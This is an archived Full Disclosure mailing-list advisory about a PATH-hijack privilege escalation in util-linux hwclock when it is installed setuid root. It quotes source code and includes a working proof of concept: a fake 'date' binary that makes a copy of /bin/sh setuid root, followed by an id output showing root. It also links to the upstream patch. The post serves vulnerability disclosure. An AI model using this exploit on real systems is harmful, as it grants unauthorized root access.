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By Date By Thread hwclock(8) SUID privilege escalation From: up201407890 () alunos dcc fc up pt

Date: Tue, 26 May 2015 12:40:54 +0200

Hello, During a recent assessment I have stumbled across a system which had hwclock(8) setuid root hwclock is a part of util-linux, all versions affected $ man hwclock | sed -n '223,231p' Users access and setuid Sometimes, you need to install hwclock setuid root. If you want users other than the superuser to be able to display the clock value using the direct ISA I/O method, install it setuid root. If you have the /dev/rtc interface on your system or are on a non-ISA system, there's probably no need for users to use the direct ISA I/O method, so don't bother. In any case, hwclock will not allow you to set anything unless you have the superuser real uid. (This is restriction is not necessary if you haven't installed setuid root, but it's there for now). http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L2041 "The program is designed to run setuid superuser, since we need to be able to do direct I/O. (More to the point: we need permission to execute the iopl() system call). (However, if you use one of the methods other than direct ISA I/O to access the clock, no setuid is required)." http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L1920 "program is designed to run setuid (in some situations)" Some comments in code and unfortunately also man page advertising that setuid is no problem. That's pretty stupid promise. from util-linux/2.26.2-5/sys-utils/hwclock.c http://sources.debian.net/src/util-linux/2.26.2-5/sys-utils/hwclock.c/#L748 /* Quotes in date_opt would ruin the date command we construct. */ if (strchr(date_opt, '"') != NULL) { warnx(_ ("The value of the --date option is not a valid date.

" "In particular, it contains quotation marks.")); return 12; } sprintf(date_command, "date --date=\"%s\" +seconds-into-epoch=%%s", date_opt); [...] date_child_fp = popen(date_command, "r"); [...] hwclock uses popen() to date_command which is 'date --date=\"%s\" +seconds-into-epoch=%%s' Exploiting is trivial, since $PATH is user-controlled $ ls -l /usr/sbin/hwclock -rwsr-sr-x. 1 root root 48096 Nov 27 14:10 /usr/sbin/hwclock $ cat > date.c;gcc date.c -o date main() { chown("/tmp/sploit", 0, 0); chmod("/tmp/sploit", 04755); } ^D $ cp /bin/sh /tmp/sploit $ PATH=".:$PATH" /usr/sbin/hwclock --set --date="05/23/2015 20:35:37" hwclock: The date command issued by hwclock returned unexpected results. The command was: date --date="05/23/2015 20:35:37" +seconds-into-epoch=%s The response was: hwclock: No usable set-to time. Cannot set clock. $ /tmp/sploit # id euid=0(root) groups=0(root) *Insert CVE Request here* Notes: Please note that this is possible on Debian-derived (and therefore Ubuntu), because /bin/sh is provided by dash which does NOT make use of privmode (does not drop privileges if ruid != euid, unlike bash), which is a very stupid idea. privmode is surprisingly effective at mitigating some common vulnerability classes and misconfigurations, and it has been around since mid 90's. Indeed, Chet Ramey (bash author and maintainer) explains that the purpose of this is to prevent "bogus system(3)/popen(3) calls in setuid executables" TL;DR: When setuid root, hwclock relies on $PATH to popen() the date command, meaning privilege escalation can occur since $PATH is user-controlled. Patches are available, signed off by Karel Zak <kzak () redhat com> https://github.com/karelzak/util-linux/commit/687cc5d58942b24a9f4013c68876d8cbea907ab1 Initial bug report: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=786804 Thanks, Federico Bento. ---------------------------------------------------------------- This message was sent using IMP, the Internet Messaging Program. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/ By Date By Thread Current thread: hwclock(8) SUID privilege escalation up201407890 (May 27)